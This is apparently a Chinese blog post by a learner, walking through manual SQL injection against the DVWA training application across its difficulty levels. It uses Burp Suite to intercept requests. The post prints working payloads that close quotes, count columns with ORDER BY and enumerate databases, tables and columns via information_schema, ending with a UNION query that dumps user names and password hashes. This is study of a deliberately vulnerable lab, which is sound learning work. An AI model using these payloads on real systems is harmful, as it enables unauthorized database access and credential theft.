DVWA-SQL手工注入

本文详细介绍了SQL手动注入的过程,包括如何识别注入点、使用符号判断字段、通过SQL语句获取数据库信息,以及在实际应用中如何使用Burpsuite工具进行检测和防御。作者还讨论了DVWA环境中的安全设置,以及不同难度级别的SQL注入挑战。
摘要由CSDN通过智能技术生成

SQL手工注入

【来自百度】—SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。

解题简述

1->low;

首先在表单中输入1,如下图正常结果显示
在这里插入图片描述
输入2,在这里插入图片描述依旧正常,这里可以选择去检查源代码,
在这里插入图片描述
在这里插入图片描述查看源代码可知这一关对于表单输入ID没有进行任何过滤(这点目前我也不太理解,不过没啥影响目前)
往下走—开始进行注入点判断,
输入【1’and 1 = 1】或【1’】
发现报错-You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘and1=1’’ at line 1(这个截屏不好看,不截了)
由上可知受到单引号闭合影响

语句1’ or 1=1#可以查出所有ID内容
这里了解
在这里插入图片描述
找出注入点问题以及符号问题,然后判断字段(就是正常查询时可以显示用户的几条信息)
输入【1‘and1=1order by 1#】
在这里插入图片描述
输入1’ and 1=1 order by 2#,与上同
但是,当输入1’ and 1=1 order by 3#时
在这里插入图片描述
返回错误,故,就有俩个字段,
现在,开始对内容的信息查询
顺序首先是数据库名,表名,列名,之后是具体信息
-1’ union select 1,database() #
在这里插入图片描述
1’ union select 1,database() #
在这里插入图片描述
得到数据库名->dvwa
语句是-1’ union select 1,table_name from information_schema.tables where table_schema=’dvwa’#(dvwa是根据上一个图查出来的数据库名字)

也可以用group_concat把表名拼接起来
-1’ union select 1, group_concat(table_name) from information_schema.tables where table_schema=’dvwa’#
在这里插入图片描述查完表名,查列名,语句是-1’ union select 1, group_concat(column_names) from information_schema.columns where table_name=’users’#
在这里插入图片描述
列名之后就可以查自己想查的
语句是:-1’ union select group_concat(user_id,first_name),group_concat(user,password) from users#

2->Medium;

在这里插入图片描述
使用工具——burpsuite,
打开burp,导入证书
这里说一下,我习惯用Microsoft edge,这里需要用到火狐代理,所以更改浏览器(是你运行DVWA的浏览器)
进行抓包,这里我的bp有了些问题,完了重下个,这里就引用一下一些查找的截屏。
在这里插入图片描述在这里插入图片描述
在数据包中会找到我们提交的ID,这里的ID的位置就是我们可以利用的注入位置,之后的步骤就跟上面一模一样,以下就是简单的演示。
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
欧克了,

3->high

在这里插入图片描述跳转界面,在另一个界面输入注入语句。
1’or1=1#
在这里插入图片描述
这个检查源代码,有limit限制只能输出一条,
这里看一些题解,-——主要是为了防止SQLmap注入,不太理解,之后完了再学

4->Impossible

先检查一下源代码在这里插入图片描述
嗯—不太理解
这里给出我参考,学习中的一篇比较好一篇DVWA-1.9教程之sql

  • 23
    点赞
  • 48
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值